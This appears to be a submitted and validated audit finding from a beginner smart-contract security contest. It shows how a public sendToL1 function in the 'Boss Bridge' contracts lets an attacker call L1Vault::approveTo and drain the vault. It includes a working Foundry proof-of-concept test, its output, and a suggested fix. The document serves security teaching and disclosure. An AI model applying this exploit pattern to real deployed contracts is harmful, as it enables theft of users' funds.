First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The entire vault can be drained by calling `L1BossBridge::sendToL1` and hijacking `L1Vault::approveTo`

ciara

L1BossBridge::sendToL1 has a state visibility of public meaning that anyone can call this function with an arbitrary value for the message parameter. This means that they can encode any arbitrary function call. An attacker can therefore specify the target to be the vault, and since the msg.sender will be L1BossBridge which is the owner of the vault contract, it can call L1Vault::approveTo to approve their attacking address to be able to withdraw the entire balance from the vault.

Vulnerability details

In L1BossBridge::sendToL1 on lines 112-125, any arbitrary message can be passed as a parameter. This message is then decoded to find the target contract, the value, and the data (or function selector with ABI encoded arguments) to call:

function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
​
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
​
(address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
​
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}

This is an external call where the msg.sender is the L1BossBridge contract. The bridge is the owner of the L1Vault contract as it deploys the vault:

constructor(IERC20 _token) Ownable(msg.sender) {
token = _token;
vault = new L1Vault(token);
// Allows the bridge to move tokens out of the vault to facilitate withdrawals
vault.approveTo(address(this), type(uint256).max);
}

In the vault's constructor, the deployer of the vault is set as the owner:

constructor(IERC20 _token) Ownable(msg.sender) {
token = _token;
}

An attacker can encode L1Vault::approveTo to be called, with their attacking address as the to value and type(uint256).max as the amount, meaning that the attacker can withdraw the entire vault balance.

## Impact

Attackers can force their approval to withdraw the entire vault balance. This is a high-risk and high-likelihood finding, therefore high-severity.

Proof of concept

Working test case

A user deposits tokens into the vault. An attacker can then call sendToL1() with the message parameter set as an ABI-encoded call to the vault, forcing the attacker to have the maximum approval limit. The attacker is then able to call token.transferFrom() to transfer all of the funds held in the vault to themselves.

function test_poc_approveWithdrawFromDeposit() public {
// user deposits funds to the vault which can then be stolen
vm.startPrank(user);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
vm.expectEmit(address(tokenBridge));
emit Deposit(user, userInL2, amount);
tokenBridge.depositTokensToL2(user, userInL2, amount);
vm.stopPrank();
​
uint256 vaultBalanceBefore = token.balanceOf(address(vault));
console2.log("Vault balance before: %s", vaultBalanceBefore);
​
// attacker gets a signature to call sendToL1 but the message encodes an approveTo call
address attacker = makeAddr("attacker");
bytes memory message = abi.encode(address(vault), 0, abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)));
(uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);
vm.startPrank(attacker);
tokenBridge.sendToL1(v, r, s, message);
// attacker transfers the vault balance to themselves
token.transferFrom(address(vault), attacker, vaultBalanceBefore);
​
uint256 vaultBalanceAfter = token.balanceOf(address(vault));
console2.log("Vault balance after: %s", vaultBalanceAfter);
​
uint256 attackerBalanceAfter = token.balanceOf(attacker);
console2.log("Attacker balance after: %s", attackerBalanceAfter);
​
assertTrue(vaultBalanceAfter == 0);
assertEq(attackerBalanceAfter, vaultBalanceBefore);
}

Running the test shows that the attacker has been able to withdraw the vault's token balance, stealing the user's deposit.

$ forge test --mt test_poc_approveWithdrawFromDeposit -vvv
​
// output
Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] test_poc_approveWithdrawFromDeposit() (gas: 135493)
Logs:
Vault balance before: 10000000000000000000
Vault balance after: 0
Attacker balance after: 10000000000000000000
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.17ms

Recommended mitigation

Set the L1BossBridge::sendToL1 function visibility to private to ensure that it can only be called via L1BossBridge::withdrawToL1 or restrict the call data to specific function selectors.

Updates

Lead Judging Commences

0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

sendToL1(): Wrong function visibility

billobaggebilleyan Auditor
almost 2 years ago
0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

sendToL1(): Wrong function visibility

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.